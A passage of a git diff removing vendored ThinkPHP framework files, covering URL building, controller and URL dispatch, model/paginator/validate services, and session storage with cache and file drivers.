if (is_null($name)) { - return $this->item; - } - - $name = strtolower($name); - $method = strtolower($method); - $result = []; - - if (isset($this->item[$name])) { - if (is_null($domain)) { - $result = $this->item[$name]; - } else { - foreach ($this->item[$name] as $item) { - $itemDomain = $item['domain']; - $itemMethod = $item['method']; - - if (($itemDomain == $domain || '-' == $itemDomain) && ('*' == $itemMethod || '*' == $method || $method == $itemMethod)) { - $result[] = $item; - } - } - } - } - - return $result; - } - - /** - * 获取路由信息 - * @access protected - * @param RuleItem $item 路由规则 - * @return array - */ - protected function getRuleItemInfo(RuleItem $item): array - { - return [ - 'rule' => $item->getRule(), - 'domain' => $item->getDomain(), - 'method' => $item->getMethod(), - 'suffix' => $item->getSuffix(), - ]; - } -} diff --git a/vendor/topthink/framework/src/think/route/Url.php b/vendor/topthink/framework/src/think/route/Url.php deleted file mode 100644 index 270439e..0000000 --- a/vendor/topthink/framework/src/think/route/Url.php +++ /dev/null @@ -1,512 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\route; - -use think\App; -use think\Route; - -/** - * 路由地址生成 - */ -class Url -{ - /** - * 应用对象 - * @var App - */ - protected $app; - - /** - * 路由对象 - * @var Route - */ - protected $route; - - /** - * URL变量 - * @var array - */ - protected $vars = []; - - /** - * 路由URL - * @var string - */ - protected $url; - - /** - * URL 根地址 - * @var string - */ - protected $root = ''; - - /** - * HTTPS - * @var bool - */ - protected $https; - - /** - * URL后缀 - * @var string|bool - */ - protected $suffix = true; - - /** - * URL域名 - * @var string|bool - */ - protected $domain = false; - - /** - * 架构函数 - * @access public - * @param string $url URL地址 - * @param array $vars 参数 - */ - public function __construct(Route $route, App $app, string $url = '', array $vars = []) - { - $this->route = $route; - $this->app = $app; - $this->url = $url; - $this->vars = $vars; - } - - /** - * 设置URL参数 - * @access public - * @param array $vars URL参数 - * @return $this - */ - public function vars(array $vars = []) - { - $this->vars = $vars; - return $this; - } - - /** - * 设置URL后缀 - * @access public - * @param string|bool $suffix URL后缀 - * @return $this - */ - public function suffix($suffix) - { - $this->suffix = $suffix; - return $this; - } - - /** - * 设置URL域名(或者子域名) - * @access public - * @param string|bool $domain URL域名 - * @return $this - */ - public function domain($domain) - { - $this->domain = $domain; - return $this; - } - - /** - * 设置URL 根地址 - * @access public - * @param string $root URL root - * @return $this - */ - public function root(string $root) - { - $this->root = $root; - return $this; - } - - /** - * 设置是否使用HTTPS - * @access public - * @param bool $https - * @return $this - */ - public function https(bool $https = true) - { - $this->https = $https; - return $this; - } - - /** - * 检测域名 - * @access protected - * @param string $url URL - * @param string|true $domain 域名 - * @return string - */ - protected function parseDomain(string &$url, $domain): string - { - if (!$domain) { - return ''; - } - - $request = $this->app->request; - $rootDomain = $request->rootDomain(); - - if (true === $domain) { - // 自动判断域名 - $domain = $request->host(); - $domains = $this->route->getDomains(); - - if (!empty($domains)) { - $routeDomain = array_keys($domains); - foreach ($routeDomain as $domainPrefix) { - if (0 === strpos($domainPrefix, '*.') && strpos($domain, ltrim($domainPrefix, '*.')) !== false) { - foreach ($domains as $key => $rule) { - $rule = is_array($rule) ? $rule[0] : $rule; - if (is_string($rule) && false === strpos($key, '*') && 0 === strpos($url, $rule)) { - $url = ltrim($url, $rule); - $domain = $key; - - // 生成对应子域名 - if (!empty($rootDomain)) { - $domain .= $rootDomain; - } - break; - } elseif (false !== strpos($key, '*')) { - if (!empty($rootDomain)) { - $domain .= $rootDomain; - } - - break; - } - } - } - } - } - } elseif (false === strpos($domain, '.') && 0 !== strpos($domain, $rootDomain)) { - $domain .= '.' . $rootDomain; - } - - if (false !== strpos($domain, '://')) { - $scheme = ''; - } else { - $scheme = $this->https || $request->isSsl() ? 'https://' : 'http://'; - } - - return $scheme . $domain; - } - - /** - * 解析URL后缀 - * @access protected - * @param string|bool $suffix 后缀 - * @return string - */ - protected function parseSuffix($suffix): string - { - if ($suffix) { - $suffix = true === $suffix ? $this->route->config('url_html_suffix') : $suffix; - - if (is_string($suffix) && $pos = strpos($suffix, '|')) { - $suffix = substr($suffix, 0, $pos); - } - } - - return (empty($suffix) || 0 === strpos($suffix, '.')) ? (string) $suffix : '.' . $suffix; - } - - /** - * 直接解析URL地址 - * @access protected - * @param string $url URL - * @param string|bool $domain Domain - * @return string - */ - protected function parseUrl(string $url, &$domain): string - { - $request = $this->app->request; - - if (0 === strpos($url, '/')) { - // 直接作为路由地址解析 - $url = substr($url, 1); - } elseif (false !== strpos($url, '\\')) { - // 解析到类 - $url = ltrim(str_replace('\\', '/', $url), '/'); - } elseif (0 === strpos($url, '@')) { - // 解析到控制器 - $url = substr($url, 1); - } elseif ('' === $url) { - $url = $request->controller() . '/' . $request->action(); - } else { - $controller = $request->controller(); - - $path = explode('/', $url); - $action = array_pop($path); - $controller = empty($path) ? $controller : array_pop($path); - - $url = $controller . '/' . $action; - } - - return $url; - } - - /** - * 分析路由规则中的变量 - * @access protected - * @param string $rule 路由规则 - * @return array - */ - protected function parseVar(string $rule): array - { - // 提取路由规则中的变量 - $var = []; - - if (preg_match_all('/<\w+\??>/', $rule, $matches)) { - foreach ($matches[0] as $name) { - $optional = false; - - if (strpos($name, '?')) { - $name = substr($name, 1, -2); - $optional = true; - } else { - $name = substr($name, 1, -1); - } - - $var[$name] = $optional ? 2 : 1; - } - } - - return $var; - } - - /** - * 匹配路由地址 - * @access protected - * @param array $rule 路由规则 - * @param array $vars 路由变量 - * @param mixed $allowDomain 允许域名 - * @return array - */ - protected function getRuleUrl(array $rule, array &$vars = [], $allowDomain = ''): array - { - $request = $this->app->request; - if (is_string($allowDomain) && false === strpos($allowDomain, '.')) { - $allowDomain .= '.' . $request->rootDomain(); - } - $port = $request->port(); - - foreach ($rule as $item) { - $url = $item['rule']; - $pattern = $this->parseVar($url); - $domain = $item['domain']; - $suffix = $item['suffix']; - - if ('-' == $domain) { - $domain = is_string($allowDomain) ? $allowDomain : $request->host(true); - } - - if (is_string($allowDomain) && $domain != $allowDomain) { - continue; - } - - if ($port && !in_array($port, [80, 443])) { - $domain .= ':' . $port; - } - - if (empty($pattern)) { - return [rtrim($url, '?/-'), $domain, $suffix]; - } - - $type = $this->route->config('url_common_param'); - $keys = []; - - foreach ($pattern as $key => $val) { - if (isset($vars[$key])) { - $url = str_replace(['[:' . $key . ']', '<' . $key . '?>', ':' . $key, '<' . $key . '>'], $type ? $vars[$key] : urlencode((string) $vars[$key]), $url); - $keys[] = $key; - $url = str_replace(['/?', '-?'], ['/', '-'], $url); - $result = [rtrim($url, '?/-'), $domain, $suffix]; - } elseif (2 == $val) { - $url = str_replace(['/[:' . $key . ']', '[:' . $key . ']', '<' . $key . '?>'], '', $url); - $url = str_replace(['/?', '-?'], ['/', '-'], $url); - $result = [rtrim($url, '?/-'), $domain, $suffix]; - } else { - $result = null; - $keys = []; - break; - } - } - - $vars = array_diff_key($vars, array_flip($keys)); - - if (isset($result)) { - return $result; - } - } - - return []; - } - - public function build() - { - // 解析URL - $url = $this->url; - $suffix = $this->suffix; - $domain = $this->domain; - $request = $this->app->request; - $vars = $this->vars; - - if (0 === strpos($url, '[') && $pos = strpos($url, ']')) { - // [name] 表示使用路由命名标识生成URL - $name = substr($url, 1, $pos - 1); - $url = 'name' . substr($url, $pos + 1); - } - - if (false === strpos($url, '://') && 0 !== strpos($url, '/')) { - $info = parse_url($url); - $url = !empty($info['path']) ? $info['path'] : ''; - - if (isset($info['fragment'])) { - // 解析锚点 - $anchor = $info['fragment']; - - if (false !== strpos($anchor, '?')) { - // 解析参数 - [$anchor, $info['query']] = explode('?', $anchor, 2); - } - - if (false !== strpos($anchor, '@')) { - // 解析域名 - [$anchor, $domain] = explode('@', $anchor, 2); - } - } elseif (strpos($url, '@') && false === strpos($url, '\\')) { - // 解析域名 - [$url, $domain] = explode('@', $url, 2); - } - } - - if ($url) { - $checkName = isset($name) ? $name : $url . (isset($info['query']) ? '?' . $info['query'] : ''); - $checkDomain = $domain && is_string($domain) ? $domain : null; - - $rule = $this->route->getName($checkName, $checkDomain); - - if (empty($rule) && isset($info['query'])) { - $rule = $this->route->getName($url, $checkDomain); - // 解析地址里面参数 合并到vars - parse_str($info['query'], $params); - $vars = array_merge($params, $vars); - unset($info['query']); - } - } - - if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) { - // 匹配路由命名标识 - $url = $match[0]; - - if ($domain && !empty($match[1])) { - $domain = $match[1]; - } - - if (!is_null($match[2])) { - $suffix = $match[2]; - } - } elseif (!empty($rule) && isset($name)) { - throw new \InvalidArgumentException('route name not exists:' . $name); - } else { - // 检测URL绑定 - $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null); - - if ($bind && 0 === strpos($url, $bind)) { - $url = substr($url, strlen($bind) + 1); - } else { - $binds = $this->route->getBind(); - - foreach ($binds as $key => $val) { - if (is_string($val) && 0 === strpos($url, $val) && substr_count($val, '/') > 1) { - $url = substr($url, strlen($val) + 1); - $domain = $key; - break; - } - } - } - - // 路由标识不存在 直接解析 - $url = $this->parseUrl($url, $domain); - - if (isset($info['query'])) { - // 解析地址里面参数 合并到vars - parse_str($info['query'], $params); - $vars = array_merge($params, $vars); - } - } - - // 还原URL分隔符 - $depr = $this->route->config('pathinfo_depr'); - $url = str_replace('/', $depr, $url); - - $file = $request->baseFile(); - if ($file && 0 !== strpos($request->url(), $file)) { - $file = str_replace('\\', '/', dirname($file)); - } - - $url = rtrim($file, '/') . '/' . $url; - - // URL后缀 - if ('/' == substr($url, -1) || '' == $url) { - $suffix = ''; - } else { - $suffix = $this->parseSuffix($suffix); - } - - // 锚点 - $anchor = !empty($anchor) ? '#' . $anchor : ''; - - // 参数组装 - if (!empty($vars)) { - // 添加参数 - if ($this->route->config('url_common_param')) { - $vars = http_build_query($vars); - $url .= $suffix . '?' . $vars . $anchor; - } else { - foreach ($vars as $var => $val) { - $val = (string) $val; - if ('' !== $val) { - $url .= $depr . $var . $depr . urlencode($val); - } - } - - $url .= $suffix . $anchor; - } - } else { - $url .= $suffix . $anchor; - } - - // 检测域名 - $domain = $this->parseDomain($url, $domain); - - // URL组装 - return $domain . rtrim($this->root, '/') . '/' . ltrim($url, '/'); - } - - public function __toString() - { - return $this->build(); - } - - public function __debugInfo() - { - return [ - 'url' => $this->url, - 'vars' => $this->vars, - 'suffix' => $this->suffix, - 'domain' => $this->domain, - ]; - } -} diff --git a/vendor/topthink/framework/src/think/route/dispatch/Callback.php b/vendor/topthink/framework/src/think/route/dispatch/Callback.php deleted file mode 100644 index 7658c3d..0000000 --- a/vendor/topthink/framework/src/think/route/dispatch/Callback.php +++ /dev/null @@ -1,30 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\route\dispatch; - -use think\route\Dispatch; - -/** - * Callback Dispatcher - */ -class Callback extends Dispatch -{ - public function exec() - { - // 执行回调方法 - $vars = array_merge($this->request->param(), $this->param); - - return $this->app->invoke($this->dispatch, $vars); - } - -} diff --git a/vendor/topthink/framework/src/think/route/dispatch/Controller.php b/vendor/topthink/framework/src/think/route/dispatch/Controller.php deleted file mode 100644 index 9182dec..0000000 --- a/vendor/topthink/framework/src/think/route/dispatch/Controller.php +++ /dev/null @@ -1,183 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\route\dispatch; - -use ReflectionClass; -use ReflectionException; -use ReflectionMethod; -use think\App; -use think\exception\ClassNotFoundException; -use think\exception\HttpException; -use think\helper\Str; -use think\route\Dispatch; - -/** - * Controller Dispatcher - */ -class Controller extends Dispatch -{ - /** - * 控制器名 - * @var string - */ - protected $controller; - - /** - * 操作名 - * @var string - */ - protected $actionName; - - public function init(App $app) - { - parent::init($app); - - $result = $this->dispatch; - - if (is_string($result)) { - $result = explode('/', $result); - } - - // 获取控制器名 - $controller = strip_tags($result[0] ?: $this->rule->config('default_controller')); - - if (strpos($controller, '.')) { - $pos = strrpos($controller, '.'); - $this->controller = substr($controller, 0, $pos) . '.' . Str::studly(substr($controller, $pos + 1)); - } else { - $this->controller = Str::studly($controller); - } - - // 获取操作名 - $this->actionName = strip_tags($result[1] ?: $this->rule->config('default_action')); - - // 设置当前请求的控制器、操作 - $this->request - ->setController($this->controller) - ->setAction($this->actionName); - } - - public function exec() - { - try { - // 实例化控制器 - $instance = $this->controller($this->controller); - } catch (ClassNotFoundException $e) { - throw new HttpException(404, 'controller not exists:' . $e->getClass()); - } - - // 注册控制器中间件 - $this->registerControllerMiddleware($instance); - - return $this->app->middleware->pipeline('controller') - ->send($this->request) - ->then(function () use ($instance) { - // 获取当前操作名 - $suffix = $this->rule->config('action_suffix'); - $action = $this->actionName . $suffix; - - if (is_callable([$instance, $action])) { - $vars = $this->request->param(); - try { - $reflect = new ReflectionMethod($instance, $action); - // 严格获取当前操作方法名 - $actionName = $reflect->getName(); - if ($suffix) { - $actionName = substr($actionName, 0, -strlen($suffix)); - } - - $this->request->setAction($actionName); - } catch (ReflectionException $e) { - $reflect = new ReflectionMethod($instance, '__call'); - $vars = [$action, $vars]; - $this->request->setAction($action); - } - } else { - // 操作不存在 - throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()'); - } - - $data = $this->app->invokeReflectMethod($instance, $reflect, $vars); - - return $this->autoResponse($data); - }); - } - - /** - * 使用反射机制注册控制器中间件 - * @access public - * @param object $controller 控制器实例 - * @return void - */ - protected function registerControllerMiddleware($controller): void - { - $class = new ReflectionClass($controller); - - if ($class->hasProperty('middleware')) { - $reflectionProperty = $class->getProperty('middleware'); - $reflectionProperty->setAccessible(true); - - $middlewares = $reflectionProperty->getValue($controller); - - foreach ($middlewares as $key => $val) { - if (!is_int($key)) { - if (isset($val['only']) && !in_array($this->request->action(true), array_map(function ($item) { - return strtolower($item); - }, is_string($val['only']) ? explode(",", $val['only']) : $val['only']))) { - continue; - } elseif (isset($val['except']) && in_array($this->request->action(true), array_map(function ($item) { - return strtolower($item); - }, is_string($val['except']) ? explode(',', $val['except']) : $val['except']))) { - continue; - } else { - $val = $key; - } - } - - if (is_string($val) && strpos($val, ':')) { - $val = explode(':', $val); - if (count($val) > 1) { - $val = [$val[0], array_slice($val, 1)]; - } - } - - $this->app->middleware->controller($val); - } - } - } - - /** - * 实例化访问控制器 - * @access public - * @param string $name 资源地址 - * @return object - * @throws ClassNotFoundException - */ - public function controller(string $name) - { - $suffix = $this->rule->config('controller_suffix') ? 'Controller' : ''; - - $controllerLayer = $this->rule->config('controller_layer') ?: 'controller'; - $emptyController = $this->rule->config('empty_controller') ?: 'Error'; - - $class = $this->app->parseClass($controllerLayer, $name . $suffix); - - if (class_exists($class)) { - return $this->app->make($class, [], true); - } elseif ($emptyController && class_exists($emptyClass = $this->app->parseClass($controllerLayer, $emptyController . $suffix))) { - return $this->app->make($emptyClass, [], true); - } - - throw new ClassNotFoundException('class not exists:' . $class, $class); - } -} diff --git a/vendor/topthink/framework/src/think/route/dispatch/Url.php b/vendor/topthink/framework/src/think/route/dispatch/Url.php deleted file mode 100644 index eb89f54..0000000 --- a/vendor/topthink/framework/src/think/route/dispatch/Url.php +++ /dev/null @@ -1,118 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\route\dispatch; - -use think\exception\HttpException; -use think\helper\Str; -use think\Request; -use think\route\Rule; - -/** - * Url Dispatcher - */ -class Url extends Controller -{ - - public function __construct(Request $request, Rule $rule, $dispatch) - { - $this->request = $request; - $this->rule = $rule; - // 解析默认的URL规则 - $dispatch = $this->parseUrl($dispatch); - - parent::__construct($request, $rule, $dispatch, $this->param); - } - - /** - * 解析URL地址 - * @access protected - * @param string $url URL - * @return array - */ - protected function parseUrl(string $url): array - { - $depr = $this->rule->config('pathinfo_depr'); - $bind = $this->rule->getRouter()->getDomainBind(); - - if ($bind && preg_match('/^[a-z]/is', $bind)) { - $bind = str_replace('/', $depr, $bind); - // 如果有域名绑定 - $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr); - } - - $path = $this->rule->parseUrlPath($url); - if (empty($path)) { - return [null, null]; - } - - // 解析控制器 - $controller = !empty($path) ? array_shift($path) : null; - - if ($controller && !preg_match('/^[A-Za-z0-9][\w|\.]*$/', $controller)) { - throw new HttpException(404, 'controller not exists:' . $controller); - } - - // 解析操作 - $action = !empty($path) ? array_shift($path) : null; - $var = []; - - // 解析额外参数 - if ($path) { - preg_replace_callback('/(\w+)\|([^\|]+)/', function ($match) use (&$var) { - $var[$match[1]] = strip_tags($match[2]); - }, implode('|', $path)); - } - - $panDomain = $this->request->panDomain(); - if ($panDomain && $key = array_search('*', $var)) { - // 泛域名赋值 - $var[$key] = $panDomain; - } - - // 设置当前请求的参数 - $this->param = $var; - - // 封装路由 - $route = [$controller, $action]; - - if ($this->hasDefinedRoute($route)) { - throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url)); - } - - return $route; - } - - /** - * 检查URL是否已经定义过路由 - * @access protected - * @param array $route 路由信息 - * @return bool - */ - protected function hasDefinedRoute(array $route): bool - { - [$controller, $action] = $route; - - // 检查地址是否被定义过路由 - $name = strtolower(Str::studly($controller) . '/' . $action); - - $host = $this->request->host(true); - $method = $this->request->method(); - - if ($this->rule->getRouter()->getName($name, $host, $method)) { - return true; - } - - return false; - } - -} diff --git a/vendor/topthink/framework/src/think/service/ModelService.php b/vendor/topthink/framework/src/think/service/ModelService.php deleted file mode 100644 index a212a58..0000000 --- a/vendor/topthink/framework/src/think/service/ModelService.php +++ /dev/null @@ -1,47 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\service; - -use think\Model; -use think\Service; - -/** - * 模型服务类 - */ -class ModelService extends Service -{ - public function boot() - { - Model::setDb($this->app->db); - Model::setEvent($this->app->event); - Model::setInvoker([$this->app, 'invoke']); - Model::maker(function (Model $model) { - $config = $this->app->config; - - $isAutoWriteTimestamp = $model->getAutoWriteTimestamp(); - - if (is_null($isAutoWriteTimestamp)) { - // 自动写入时间戳 - $model->isAutoWriteTimestamp($config->get('database.auto_timestamp', 'timestamp')); - } - - $dateFormat = $model->getDateFormat(); - - if (is_null($dateFormat)) { - // 设置时间戳格式 - $model->setDateFormat($config->get('database.datetime_format', 'Y-m-d H:i:s')); - } - - }); - } -} diff --git a/vendor/topthink/framework/src/think/service/PaginatorService.php b/vendor/topthink/framework/src/think/service/PaginatorService.php deleted file mode 100644 index b13dc1d..0000000 --- a/vendor/topthink/framework/src/think/service/PaginatorService.php +++ /dev/null @@ -1,52 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\service; - -use think\Paginator; -use think\paginator\driver\Bootstrap; -use think\Service; - -/** - * 分页服务类 - */ -class PaginatorService extends Service -{ - public function register() - { - if (!$this->app->bound(Paginator::class)) { - $this->app->bind(Paginator::class, Bootstrap::class); - } - } - - public function boot() - { - Paginator::maker(function (...$args) { - return $this->app->make(Paginator::class, $args, true); - }); - - Paginator::currentPathResolver(function () { - return $this->app->request->baseUrl(); - }); - - Paginator::currentPageResolver(function ($varPage = 'page') { - - $page = $this->app->request->param($varPage); - - if (filter_var($page, FILTER_VALIDATE_INT) !== false && (int) $page >= 1) { - return (int) $page; - } - - return 1; - }); - } -} diff --git a/vendor/topthink/framework/src/think/service/ValidateService.php b/vendor/topthink/framework/src/think/service/ValidateService.php deleted file mode 100644 index d96dea0..0000000 --- a/vendor/topthink/framework/src/think/service/ValidateService.php +++ /dev/null @@ -1,31 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\service; - -use think\Service; -use think\Validate; - -/** - * 验证服务类 - */ -class ValidateService extends Service -{ - public function boot() - { - Validate::maker(function (Validate $validate) { - $validate->setLang($this->app->lang); - $validate->setDb($this->app->db); - $validate->setRequest($this->app->request); - }); - } -} diff --git a/vendor/topthink/framework/src/think/session/Store.php b/vendor/topthink/framework/src/think/session/Store.php deleted file mode 100644 index 03ece29..0000000 --- a/vendor/topthink/framework/src/think/session/Store.php +++ /dev/null @@ -1,340 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\session; - -use think\contract\SessionHandlerInterface; -use think\helper\Arr; - -class Store -{ - - /** - * Session数据 - * @var array - */ - protected $data = []; - - /** - * 是否初始化 - * @var bool - */ - protected $init = null; - - /** - * 记录Session name - * @var string - */ - protected $name = 'PHPSESSID'; - - /** - * 记录Session Id - * @var string - */ - protected $id; - - /** - * @var SessionHandlerInterface - */ - protected $handler; - - /** @var array */ - protected $serialize = []; - - public function __construct($name, SessionHandlerInterface $handler, array $serialize = null) - { - $this->name = $name; - $this->handler = $handler; - - if (!empty($serialize)) { - $this->serialize = $serialize; - } - - $this->setId(); - } - - /** - * 设置数据 - * @access public - * @param array $data - * @return void - */ - public function setData(array $data): void - { - $this->data = $data; - } - - /** - * session初始化 - * @access public - * @return void - */ - public function init(): void - { - // 读取缓存数据 - $data = $this->handler->read($this->getId()); - - if (!empty($data)) { - $this->data = array_merge($this->data, $this->unserialize($data)); - } - - $this->init = true; - } - - /** - * 设置SessionName - * @access public - * @param string $name session_name - * @return void - */ - public function setName(string $name): void - { - $this->name = $name; - } - - /** - * 获取sessionName - * @access public - * @return string - */ - public function getName(): string - { - return $this->name; - } - - /** - * session_id设置 - * @access public - * @param string $id session_id - * @return void - */ - public function setId($id = null): void - { - $this->id = is_string($id) && strlen($id) === 32 && ctype_alnum($id) ? $id : md5(microtime(true) . session_create_id()); - } - - /** - * 获取session_id - * @access public - * @return string - */ - public function getId(): string - { - return $this->id; - } - - /** - * 获取所有数据 - * @return array - */ - public function all(): array - { - return $this->data; - } - - /** - * session设置 - * @access public - * @param string $name session名称 - * @param mixed $value session值 - * @return void - */ - public function set(string $name, $value): void - { - Arr::set($this->data, $name, $value); - } - - /** - * session获取 - * @access public - * @param string $name session名称 - * @param mixed $default 默认值 - * @return mixed - */ - public function get(string $name, $default = null) - { - return Arr::get($this->data, $name, $default); - } - - /** - * session获取并删除 - * @access public - * @param string $name session名称 - * @return mixed - */ - public function pull(string $name) - { - return Arr::pull($this->data, $name); - } - - /** - * 添加数据到一个session数组 - * @access public - * @param string $key - * @param mixed $value - * @return void - */ - public function push(string $key, $value): void - { - $array = $this->get($key, []); - - $array[] = $value; - - $this->set($key, $array); - } - - /** - * 判断session数据 - * @access public - * @param string $name session名称 - * @return bool - */ - public function has(string $name): bool - { - return Arr::has($this->data, $name); - } - - /** - * 删除session数据 - * @access public - * @param string $name session名称 - * @return void - */ - public function delete(string $name): void - { - Arr::forget($this->data, $name); - } - - /** - * 清空session数据 - * @access public - * @return void - */ - public function clear(): void - { - $this->data = []; - } - - /** - * 销毁session - */ - public function destroy(): void - { - $this->clear(); - - $this->regenerate(true); - } - - /** - * 重新生成session id - * @param bool $destroy - */ - public function regenerate(bool $destroy = false): void - { - if ($destroy) { - $this->handler->delete($this->getId()); - } - - $this->setId(); - } - - /** - * 保存session数据 - * @access public - * @return void - */ - public function save(): void - { - $this->clearFlashData(); - - $sessionId = $this->getId(); - - if (!empty($this->data)) { - $data = $this->serialize($this->data); - - $this->handler->write($sessionId, $data); - } else { - $this->handler->delete($sessionId); - } - - $this->init = false; - } - - /** - * session设置 下一次请求有效 - * @access public - * @param string $name session名称 - * @param mixed $value session值 - * @return void - */ - public function flash(string $name, $value): void - { - $this->set($name, $value); - $this->push('__flash__.__next__', $name); - $this->set('__flash__.__current__', Arr::except($this->get('__flash__.__current__', []), $name)); - } - - /** - * 将本次闪存数据推迟到下次请求 - * - * @return void - */ - public function reflash(): void - { - $keys = $this->get('__flash__.__current__', []); - $values = array_unique(array_merge($this->get('__flash__.__next__', []), $keys)); - $this->set('__flash__.__next__', $values); - $this->set('__flash__.__current__', []); - } - - /** - * 清空当前请求的session数据 - * @access public - * @return void - */ - public function clearFlashData(): void - { - Arr::forget($this->data, $this->get('__flash__.__current__', [])); - if (!empty($next = $this->get('__flash__.__next__', []))) { - $this->set('__flash__.__current__', $next); - } else { - $this->delete('__flash__.__current__'); - } - $this->delete('__flash__.__next__'); - } - - /** - * 序列化数据 - * @access protected - * @param mixed $data - * @return string - */ - protected function serialize($data): string - { - $serialize = $this->serialize[0] ?? 'serialize'; - - return $serialize($data); - } - - /** - * 反序列化数据 - * @access protected - * @param string $data - * @return array - */ - protected function unserialize(string $data): array - { - $unserialize = $this->serialize[1] ?? 'unserialize'; - - return (array) $unserialize($data); - } - -} diff --git a/vendor/topthink/framework/src/think/session/driver/Cache.php b/vendor/topthink/framework/src/think/session/driver/Cache.php deleted file mode 100644 index c25e2ef..0000000 --- a/vendor/topthink/framework/src/think/session/driver/Cache.php +++ /dev/null @@ -1,50 +0,0 @@ - -// +---------------------------------------------------------------------- -namespace think\session\driver; - -use Psr\SimpleCache\CacheInterface; -use think\contract\SessionHandlerInterface; -use think\helper\Arr; - -class Cache implements SessionHandlerInterface -{ - - /** @var CacheInterface */ - protected $handler; - - /** @var integer */ - protected $expire; - - /** @var string */ - protected $prefix; - - public function __construct(\think\Cache $cache, array $config = []) - { - $this->handler = $cache->store(Arr::get($config, 'store')); - $this->expire = Arr::get($config, 'expire', 1440); - $this->prefix = Arr::get($config, 'prefix', ''); - } - - public function read(string $sessionId): string - { - return (string) $this->handler->get($this->prefix . $sessionId); - } - - public function delete(string $sessionId): bool - { - return $this->handler->delete($this->prefix . $sessionId); - } - - public function write(string $sessionId, string $data): bool - { - return $this->handler->set($this->prefix . $sessionId, $data, $this->expire); - } -} diff --git a/vendor/topthink/framework/src/think/session/driver/File.php b/vendor/topthink/framework/src/think/session/driver/File.php deleted file mode 100644 index 258458a..0000000 --- a/vendor/topthink/framework/src/think/session/driver/File.php +++ /dev/null @@ -1,249 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\session\driver; - -use Closure; -use Exception; -use FilesystemIterator; -use Generator; -use SplFileInfo; -use think\App; -use think\contract\SessionHandlerInterface; - -/** - * Session 文件驱动 - */ -class File implements SessionHandlerInterface -{ - protected $config = [ - 'path' => '', - 'expire' => 1440, - 'prefix' => '', - 'data_compress' => false, - 'gc_probability' => 1, - 'gc_divisor' => 100, - ]; - - public function __construct(App $app, array $config = []) - { - $this->config = array_merge($this->config, $config); - - if (empty($this->config['path'])) { - $this->config['path'] = $app->getRuntimePath() . 'session' . DIRECTORY_SEPARATOR; - } elseif (substr($this->config['path'], -1) != DIRECTORY_SEPARATOR) { - $this->config['path'] .= DIRECTORY_SEPARATOR; - } - - $this->init(); - } - - /** - * 打开Session - * @access protected - * @throws Exception - */ - protected function init(): void - { - try { - !is_dir($this->config['path']) && mkdir($this->config['path'], 0755, true); - } catch (\Exception $e) { - // 写入失败 - } - - // 垃圾回收 - if (random_int(1, $this->config['gc_divisor']) <= $this->config['gc_probability']) { - $this->gc(); - } - } - - /** - * Session 垃圾回收 - * @access public - * @return void - */ - public function gc(): void - { - $lifetime = $this->config['expire']; - $now = time(); - - $files = $this->findFiles($this->config['path'], function (SplFileInfo $item) use ($lifetime, $now) { - return $now - $lifetime > $item->getMTime(); - }); - - foreach ($files as $file) { - $this->unlink($file->getPathname()); - } - } - - /** - * 查找文件 - * @param string $root - * @param Closure $filter - * @return Generator - */ - protected function findFiles(string $root, Closure $filter) - { - $items = new FilesystemIterator($root); - - /** @var SplFileInfo $item */ - foreach ($items as $item) { - if ($item->isDir() && !$item->isLink()) { - yield from $this->findFiles($item->getPathname(), $filter); - } else { - if ($filter($item)) { - yield $item; - } - } - } - } - - /** - * 取得变量的存储文件名 - * @access protected - * @param string $name 缓存变量名 - * @param bool $auto 是否自动创建目录 - * @return string - */ - protected function getFileName(string $name, bool $auto = false): string - { - if ($this->config['prefix']) { - // 使用子目录 - $name = $this->config['prefix'] . DIRECTORY_SEPARATOR . 'sess_' . $name; - } else { - $name = 'sess_' . $name; - } - - $filename = $this->config['path'] . $name; - $dir = dirname($filename); - - if ($auto && !is_dir($dir)) { - try { - mkdir($dir, 0755, true); - } catch (\Exception $e) { - // 创建失败 - } - } - - return $filename; - } - - /** - * 读取Session - * @access public - * @param string $sessID - * @return string - */ - public function read(string $sessID): string - { - $filename = $this->getFileName($sessID); - - if (is_file($filename) && filemtime($filename) >= time() - $this->config['expire']) { - $content = $this->readFile($filename); - - if ($this->config['data_compress'] && function_exists('gzcompress')) { - //启用数据压缩 - $content = (string) gzuncompress($content); - } - - return $content; - } - - return ''; - } - - /** - * 写文件(加锁) - * @param $path - * @param $content - * @return bool - */ - protected function writeFile($path, $content): bool - { - return (bool) file_put_contents($path, $content, LOCK_EX); - } - - /** - * 读取文件内容(加锁) - * @param $path - * @return string - */ - protected function readFile($path): string - { - $contents = ''; - - $handle = fopen($path, 'rb'); - - if ($handle) { - try { - if (flock($handle, LOCK_SH)) { - clearstatcache(true, $path); - - $contents = fread($handle, filesize($path) ?: 1); - - flock($handle, LOCK_UN); - } - } finally { - fclose($handle); - } - } - - return $contents; - } - - /** - * 写入Session - * @access public - * @param string $sessID - * @param string $sessData - * @return bool - */ - public function write(string $sessID, string $sessData): bool - { - $filename = $this->getFileName($sessID, true); - $data = $sessData; - - if ($this->config['data_compress'] && function_exists('gzcompress')) { - //数据压缩 - $data = gzcompress($data, 3); - } - - return $this->writeFile($filename, $data); - } - - /** - * 删除Session - * @access public - * @param string $sessID - * @return bool - */ - public function delete(string $sessID): bool - { - try { - return $this->unlink($this->getFileName($sessID)); - } catch (\Exception $e) { - return false; - } - } - - /** - * 判断文件是否存在后,删除 - * @access private - * @param string $file - * @return bool - */ - private function unlink(string $file): bool - { - return is_file($file) && unlink($file); - } - -} diff --git a/vendor/topthink/framework/src/think/validate/ValidateRule.php b/vendor/topthink/framework/src/think/validate/ValidateRule.php deleted file mode 100644 index 